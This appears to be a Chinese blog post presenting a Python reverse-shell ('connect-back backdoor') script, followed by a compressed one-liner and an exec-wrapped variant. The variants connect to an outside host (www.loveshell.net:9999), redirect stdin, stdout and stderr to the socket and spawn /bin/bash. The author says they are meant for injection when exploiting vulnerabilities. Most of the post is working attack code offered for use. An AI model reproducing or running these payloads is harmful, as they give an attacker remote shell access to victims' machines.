与卓越同行,我的皇后是大佬,江汉大学教务网络管理系统
不知道怎么忽然想看这个,呵呵
小我的python的反shell的代码
#!/usr/bin/python
# python connect-back backdoor
# author: wofeiwo <wofeiwo[0x40]gmail[0x2e]com>
# version: 1.0
# date: july 15th 2006
import sys
import os
import socket
shell = "/bin/sh"
def usage(programname):
print "python connect-back backdoor"
print "auther: wofeiwo <wofeiwo[0x40]gmail[0x2e]com>"
print "date: july 15th 2006\n"
print "usage: %s <conn_back_host> <port>\n" % programname
def main():
if len(sys.argv) != 3:
usage(sys.argv[0])
sys.exit(1)
s = socket.socket(socket.af_inet, socket.sock_stream)
try:
s.connect((socket.gethostbyname(sys.argv[1]),int(sys.argv[2])))
print "[+] connect ok."
except:
print "[-] could not connect to %s:%s" % (sys.argv[1], sys.argv[2])
sys.exit(2)
s.send("-------------------- python connect-back backdoor --------------------\n")
s.send("----------------------------- by wofeiwo -----------------------------\n")
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
global shell
os.system(shell)
print "see u!"
s.close()
if __name__ == "__main__": main()
用在漏洞利用的时候不太好,不是么?我们想要短点的,节省下就是
import sys;import os;import socket;s = socket.socket(socket.af_inet, socket.sock_stream);s.connect((socket.gethostbyname("www.loveshell.net"),9999));s.send("welcome my master\r\n");os.dup2(s.fileno(), 0);os.dup2(s.fileno(), 1);os.dup2(s.fileno(), 2);s.send("is there a shell?\r\n");os.system("/bin/bash");s.close();s.send("see u next time!\r\n");
如何?很短了吧?
不过很可能漏洞利用的地方不允许多语句,譬如允许的输入是在eval当中,不能多语句(后面有解释)那么还可以变化下
exec 'import sys;import os;import socket;s = socket.socket(socket.af_inet, socket.sock_stream);s.connect((socket.gethostbyname("www.loveshell.net"),9999));s.send("welcome my master\\r\\n");os.dup2(s.fileno(), 0);os.dup2(s.fileno(), 1);os.dup2(s.fileno(), 2);s.send("is there a shell?\\r\\n");os.system("/bin/bash");s.close();s.send("see u next time!\\r\\n");';
注意是\\r\\n哦,即使在''里好象\r\n一样会成为换行,所以其实这里即使不用;一样可以构造好代码的,另外,为什么不用eval呢?
翻了下手册
exec语句用来执行储存在字符串或文件中的python语句。例如,我们可以在运行时生成一个包含python代码的字符串,然后使用exec语句执行这些语句
eval语句用来计算存储在字符串中的有效python表达式
呵呵,这里用eval好象会出错.
yy一下,思想是相同的,但是具体到语言又是不一样的,如何跳出语言的限制呢?是个问题......
如对本文有疑问,请在下面进行留言讨论,广大热心网友会与你互动!!
点击进行留言回复
相关文章:
-
-
python如何查看网页代码
用python查看网页代码的方法:1、使用“import”导入requests包import requests2、使用requests包的get()函数通过网页...
[阅读全文]
-
-
python如何保存文本文件
python保存文本文件的方法:使用python内置的open()类可以打开文本文件,向文件里面写入数据可以用write()函数,写完之后,使用close()函...
[阅读全文]
-
python如何编写win程序
python可以编写win程序。win程序的格式是exe,下面我们就来看一下使用python编写exe程序的方法。编写好python程序后py2exe模块即可将...
[阅读全文]
-
-
-
-
-
-
网友评论